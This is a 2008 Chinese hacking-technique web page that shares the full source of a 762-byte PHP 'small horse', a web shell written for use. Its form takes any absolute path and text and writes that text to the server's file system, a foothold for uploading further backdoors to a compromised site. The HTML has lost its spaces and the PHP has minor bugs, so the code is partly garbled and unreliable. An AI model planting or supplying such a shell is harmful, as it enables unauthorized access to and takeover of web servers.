WEB开发网
开发学院网络安全黑客技术 762字节PHP小马一匹 阅读

762字节PHP小马一匹

 2008-10-27 16:51:11 来源:WEB开发网   
核心提示:<style>body{font-family:Georgia;}#x{width:560px;height:250px;border=#0001pxsolid}#p{font-family:Georgia;width:385px;border=#0001pxsolid}#b{font-family:Geo

<style>
body{font-family:Georgia;}
#x{width:560px;height:250px;border=#0001pxsolid}
#p{font-family:Georgia;width:385px;border=#0001pxsolid}
#b{font-family:Georgia;background:#fff;width:60px;height:20px;border=#0001pxsolid}
</style>
<?php
if($_POST)
{
 $fo=fopen($_POST["p"],"w");
 if(fwrite($fo,$_POST["x"]))
 echo"<fontcolor=red>Success!</font>";
 else
 echo"<fontcolor=red>UnSuccess?</font>";
 fclose($_POST["p"]);
}
else
echo"<fontcolor=red>UpLoadPageBy:Jutan[C.R.S.T]</font>";
?>
<formaction=""method="post">
AbsolutePath:<inputtype="text"name="p"id="p"value='<?phpecho$_SERVER["SCRIPT_FILENAME"]?>'/>
<inputtype="submit"id="b"value="UpLoad"/><br/>
<textareaname="x"id="x">
</textarea>
</form>

Tags:字节 PHP 小马

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接